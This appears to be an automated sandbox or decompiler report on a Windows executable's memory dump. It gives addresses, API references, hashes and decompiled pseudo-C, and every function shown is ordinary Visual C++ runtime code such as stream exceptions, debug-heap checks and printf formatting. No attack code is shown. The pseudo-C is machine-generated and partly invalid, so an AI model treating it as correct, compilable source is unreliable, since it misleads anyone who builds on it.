0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x0042a651
0x0042a651
0x0042a655
0x0042a662
0x0042a665
0x0042a668
0x0042a66b
0x0042a66e
0x0042a671
0x0042a674
0x0042a674
0x0042a677
0x00000000
0x0042a677
0x0042a657
0x0042a657
0x0042a65a
0x0042a65d
0x0042a660
0x00000000
0x00000000
0x00000000
0x0042a660
0x0042a5b6
0x0042a5b6
0x0042a5b9
0x0042a5bc
0x0042a5c3
0x0042a5ca
0x0042a5d2
0x0042a5d8
0x0042a5db
0x0042a5de
0x0042a5e5
0x0042a5f1
0x0042a5f7
0x0042a5fd
0x0042a604
0x0042a606
0x0042a60c
0x0042a60c
0x0042a612
0x0042a612
0x0042a618
0x0042a621
0x0042a626
0x0042a629
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x00000000
0x0042a5a6
0x0042a598
0x0042a4d5
0x0042a4d5
0x0042a4dc
0x00000000
0x00000000
0x00000000
0x0042a50a
0x0042a50a
0x0042a510
0x0042a516
0x0042a51c
0x00000000
0x0042a51c
0x0042a3ec
0x0042a39d

APIs

_get_int64_arg.LIBCMTD ref: 0042A3FA
__aullrem.LIBCMT ref: 0042A5CA
__aulldiv.LIBCMT ref: 0042A5EC

Strings

9, xrefs: 0042A5FD
', xrefs: 0042A393

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: e646f5b7661a5f37611aa842ff54488d5ccb8e2cb7ba9d720ffb772ebd031125
Instruction ID: 1ea5deebe52063e3bba1b35910f8f9413abc205bb65afbd622defa8e131adb7e
Opcode Fuzzy Hash: e646f5b7661a5f37611aa842ff54488d5ccb8e2cb7ba9d720ffb772ebd031125
Instruction Fuzzy Hash: 024128B1E001299FDB24CF48D881BAFB7B5FF85314F40409AE649A7240D7789E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D1E2, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E0041D1E2(void* __ecx, signed int _a4, char* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				signed int _t19;
				char* _t20;
				signed char _t29;
				intOrPtr _t30;

				_t19 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t19;
				_t29 =  *(__ecx + 0x10) & _t19;
				if(_t29 == 0) {
					return _t19;
				}
				_t20 = 0;
				if(_a8 == 0) {
					L4:
					if((_t29 & 0x00000004) == 0) {
						if((_t29 & 0x00000002) == 0) {
							_t30 = E0041EEC0();
							_a8 = "ios_base::eofbit set";
						} else {
							_t30 = E0041EEC0();
							_a8 = "ios_base::failbit set";
						}
					} else {
						_t30 = E0041EEC0();
						_a8 = "ios_base::badbit set";
					}
					_t29 =  &_v24;
					E004211E0(_t29,  &_a8);
					_v12 = 1;
					_v8 = _t30;
					_v24 = 0x401754;
					_push(0x44043c);
					_t20 =  &_v24;
					L3:
					_push(_t20);
					E00424290();
					goto L4;
				}
				_push(0);
				goto L3;
			}

0x0041d1e8
0x0041d1eb
0x0041d1f4
0x0041d1f6
0x0041d265
0x0041d265
0x0041d1f8
0x0041d1fd
0x0041d206
0x0041d20c
0x0041d242
0x0041d259
0x0041d25b
0x0041d244
0x0041d249
0x0041d24b
0x0041d24b
0x0041d20e
0x0041d213
0x0041d215
0x0041d215
0x0041d220
0x0041d223
0x0041d228
0x0041d22b
0x0041d22e
0x0041d235
0x0041d23a
0x0041d200
0x0041d200
0x0041d201
0x00000000
0x0041d201
0x0041d1ff
0x00000000

APIs

__CxxThrowException@8.LIBCMTD ref: 0041D201
std::exception::exception.LIBCMTD ref: 0041D223

Strings

ios_base::failbit set, xrefs: 0041D24B
ios_base::eofbit set, xrefs: 0041D25B
ios_base::badbit set, xrefs: 0041D215

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3728558374-1866435925
Opcode ID: 71d2f7a9436072253ebce9d54713b494a6a23cd9b4487982f69a16d107ed6d8d
Instruction ID: fb5516f6af3e0b106e078da9a67a1e95bea59214bbcb8caccb443e05bc3e3d44
Opcode Fuzzy Hash: 71d2f7a9436072253ebce9d54713b494a6a23cd9b4487982f69a16d107ed6d8d
Instruction Fuzzy Hash: D30175B19002089FCB00EFA6C506AEE77E55B04354F24C45BE92697251DB7CCA46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D3A2, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041D3A2(intOrPtr __ecx) {
				intOrPtr _t12;
				intOrPtr _t21;
				void* _t23;

				E004241C8(0x43f93b, _t23);
				_push(__ecx);
				_t21 = __ecx;
				 *((intOrPtr*)(_t23 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x401844;
				E00420730(__ecx + 4);
				 *(_t23 - 4) =  *(_t23 - 4) & 0x00000000;
				if(E0041EDE0(4, E0041EEB0(), "C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\streambuf", 0x18) == 0) {
					_t12 = 0;
				} else {
					_t12 = E0041CDBA(_t11);
				}
				 *((intOrPtr*)(_t21 + 0x38)) = _t12;
				E0041CF7D(_t21);
				 *[fs:0x0] =  *((intOrPtr*)(_t23 - 0xc));
				return _t21;
			}

0x0041d3a7
0x0041d3ac
0x0041d3ae
0x0041d3b3
0x0041d3b6
0x0041d3bc
0x0041d3c1
0x0041d3de
0x0041d3e9
0x0041d3e0
0x0041d3e2
0x0041d3e2
0x0041d3ed
0x0041d3f0
0x0041d3fb
0x0041d403

APIs

__EH_prolog.LIBCMT ref: 0041D3A7
std::_Mutex::_Mutex.LIBCPMTD ref: 0041D3BC

Part of subcall function 00420730: new.LIBCPMTD ref: 0042074A

new.LIBCPMTD ref: 0041D3D4

Part of subcall function 0041EDE0: std::bad_alloc::bad_alloc.LIBCMTD ref: 0041EE28
Part of subcall function 0041EDE0: _atexit.LIBCMTD ref: 0041EE32

std::locale::locale.LIBCPMT ref: 0041D3E2

Part of subcall function 0041CDBA: std::locale::_Init.LIBCPMTD ref: 0041CDBD
Part of subcall function 0041CDBA: std::locale::facet::_Incref.LIBCPMT ref: 0041CDCB

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf, xrefs: 0041D3C7

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prologIncrefInitMutexMutex::__atexitstd::_std::bad_alloc::bad_allocstd::locale::_std::locale::facet::_std::locale::locale
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
API String ID: 1416725189-1761835556
Opcode ID: 90141e0884ead4faade9d0564950a38e50d9a1d670854e0db777d5115a3c71d4
Instruction ID: 0ebddd36f2bff71630f55f64ca17b0384b2ea5b7727103b70cd688c4cda37925
Opcode Fuzzy Hash: 90141e0884ead4faade9d0564950a38e50d9a1d670854e0db777d5115a3c71d4
Instruction Fuzzy Hash: 0BF082B1F502109BD7146BA698427EE76E59F04705F00482FB812E37C2DBBC998087AE

Uniqueness

Uniqueness Score: -1.00%

Function 00423464, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00423464(void* __ecx) {
				void* _t66;
				intOrPtr _t71;
				void* _t72;
				void* _t75;
				void* _t77;
				void* _t89;
				intOrPtr _t90;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t89 = __ecx;
				_push(L"state != NULL");
				_push(0);
				_push(0x8ad);
				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
				_push(2);
				_t66 = L00427590();
				_t130 = _t129 + 0x14;
				if(_t66 == 1) {
					asm("int3");
				}
				if( *((intOrPtr*)(_t127 - 0x24)) != 0) {
					L0042B230(4);
					_t131 = _t130 + 4;
					 *(_t127 - 4) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)))) =  *0x773a7c;
					 *(_t127 - 0x1c) = 0;
					while( *(_t127 - 0x1c) < 5) {
						 *( *((intOrPtr*)(_t127 + 8)) + 0x18 +  *(_t127 - 0x1c) * 4) = 0;
						 *( *((intOrPtr*)(_t127 + 8)) + 4 +  *(_t127 - 0x1c) * 4) = 0;
						 *(_t127 - 0x1c) =  *(_t127 - 0x1c) + 1;
					}
					 *((intOrPtr*)(_t127 - 0x20)) =  *0x773a7c;
					while( *((intOrPtr*)(_t127 - 0x20)) != 0) {
						if(( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) < 0 || ( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) >= 5) {
							if( *((intOrPtr*)( *((intOrPtr*)(_t127 - 0x20)) + 8)) == 0) {
								_t75 = L0042B7E0(0, 0, 0, 0, "Bad memory block found at 0x%p.\n",  *((intOrPtr*)(_t127 - 0x20)));
								_t131 = _t131 + 0x18;
								if(_t75 == 1) {
									asm("int3");
								}
							} else {
								_push( *((intOrPtr*)( *((intOrPtr*)(_t127 - 0x20)) + 0xc)));
								_push( *((intOrPtr*)( *((intOrPtr*)(_t127 - 0x20)) + 8)));
								_t77 = L0042B7E0(0, 0, 0, 0, "Bad memory block found at 0x%p.\n\nMemory allocated at %hs(%d).\n",  *((intOrPtr*)(_t127 - 0x20)));
								_t131 = _t131 + 0x20;
								if(_t77 == 1) {
									asm("int3");
								}
							}
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 4 + ( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 4 + ( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) * 4)) + 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 0x18 + ( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 0x18 + ( *( *((intOrPtr*)(_t127 - 0x20)) + 0x14) & 0x0000ffff) * 4)) +  *((intOrPtr*)( *((intOrPtr*)(_t127 - 0x20)) + 0x10));
						}
						 *((intOrPtr*)(_t127 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t127 - 0x20))));
					}
					_t90 =  *0x773a78; // 0x2376
					 *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 0x2c)) = _t90;
					_t71 =  *0x773a6c; // 0x383e
					 *((intOrPtr*)( *((intOrPtr*)(_t127 + 8)) + 0x30)) = _t71;
					 *(_t127 - 4) = 0xfffffffe;
					_t72 = E0042361B();
				} else {
					 *((intOrPtr*)(L004256E0(_t89))) = 0x16;
					_t72 = E00428500(_t89, L"state != NULL", L"_CrtMemCheckpoint", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x8ad, 0);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t127 - 0x10));
				return _t72;
			}

0x00423464
0x00423464
0x00423469
0x0042346b
0x00423470
0x00423475
0x00423477
0x0042347c
0x00423482
0x00423484
0x00423484
0x00423489
0x004234bb
0x004234c0
0x004234c3
0x004234d2
0x004234d4
0x004234e6
0x004234f2
0x00423500
0x004234e3
0x004234e3
0x0042350f
0x0042351c
0x00423532
0x004235a1
0x004235e3
0x004235e8
0x004235ee
0x004235f0
0x004235f0
0x004235a3
0x004235a9
0x004235b0
0x004235c2
0x004235c7
0x004235cd
0x004235cf
0x004235cf
0x004235d0
0x00423544
0x00423568
0x00423594
0x00423594
0x00423519
0x00423519
0x004235f9
0x004235ff
0x00423605
0x0042360a
0x0042360d
0x00423614
0x0042348b
0x00423490
0x004234ac
0x004234b1
0x00423629
0x00423637

APIs

__invalid_parameter.LIBCMTD ref: 004234AC

Strings

_CrtMemCheckpoint, xrefs: 004234A2
state != NULL, xrefs: 00423464, 004234A7
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00423470, 0042349D
u.P", xrefs: 00423489

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: _CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$state != NULL$u.P"
API String ID: 3730194576-883265059
Opcode ID: 2d7f9ea90d13a6ecb83ff6c2b844ba920fe8b439b7d739b54290cfc674c8ed26
Instruction ID: 6b6d234ba1cf2e7260277b9055512548f463fb8a5f905c9962fee1b2e8119728
Opcode Fuzzy Hash: 2d7f9ea90d13a6ecb83ff6c2b844ba920fe8b439b7d739b54290cfc674c8ed26
Instruction Fuzzy Hash: B1F0E571BC43246AE2206E40BE07F297220AB04B15FB004BBE60578AC3ADFE180081AE

Uniqueness

Uniqueness Score: -1.00%

Function 00429151, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00429151() {
				intOrPtr _t463;
				signed int _t492;

				L0:
				while(1) {
					L0:
					 *(_t492 - 0x30) = 8;
					while(1) {
						L134:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L136:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L141:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L158;
								}
								L154:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L158;
								}
								L155:
								if(__eflags < 0) {
									L157:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L159:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L169:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L171;
										}
										L170:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L174:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L178:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L203;
													}
													L179:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(__eflags == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0042AA50( *(__ebp - 0x1c), __eflags, __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E004297E0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if(__eflags != 0) {
														L199:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0042AA50(__ecx, __eflags,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L200;
													} else {
														L192:
														__eflags =  *(__ebp - 0x24);
														if(__eflags <= 0) {
															goto L199;
														}
														L193:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L194:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L195:
															__ecx = __ebp - 0x40;
															__eax = E00423790(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E00423790(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E00439180(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L197:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E00429780( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L196:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L198:
														L200:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L203:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L00422680( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L205:
														 *(_t492 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t492 + 0xc))));
														 *((intOrPtr*)(_t492 + 0xc)) =  *((intOrPtr*)(_t492 + 0xc)) + 2;
														if(( *(_t492 - 0x454) & 0x0000ffff) == 0 ||  *((intOrPtr*)(_t492 - 0x44c)) < 0) {
															break;
														} else {
															if(( *(_t492 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t492 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t492 - 0x4cc) = 0;
															} else {
																 *(_t492 - 0x4cc) =  *(( *(_t492 - 0x454) & 0x0000ffff) + 0x409110) & 0x0000000f;
															}
														}
														L7:
														 *(_t492 - 0x450) =  *(_t492 - 0x4cc);
														_t19 =  *(_t492 - 0x450) * 8; // 0x6000006
														 *(_t492 - 0x45c) =  *( *(_t492 - 0x45c) + _t19 + 0x409130) >> 4;
														 *(_t492 - 0x4d0) =  *(_t492 - 0x45c);
														if( *(_t492 - 0x4d0) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t492 - 0x4d0) * 4 +  &M00429674))) {
															case 0:
																L9:
																 *(_t492 - 0xc) = 1;
																E00429780( *(_t492 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t492 + 8)), _t492 - 0x44c);
																_t494 = _t494 + 0xc;
																goto L205;
															case 1:
																L10:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L205;
															case 2:
																L11:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4d4) = __ecx;
																 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
																 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
																__eflags =  *(__ebp - 0x4d4) - 0x10;
																if( *(__ebp - 0x4d4) > 0x10) {
																	goto L18;
																}
																L12:
																_t48 =  *(__ebp - 0x4d4) + 0x4296ac; // 0x498d04
																__ecx =  *_t48 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00429694))) {
																	case 0:
																		goto L15;
																	case 1:
																		goto L16;
																	case 2:
																		goto L14;
																	case 3:
																		goto L13;
																	case 4:
																		goto L17;
																	case 5:
																		goto L18;
																}
															case 3:
																L19:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t72 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t72;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
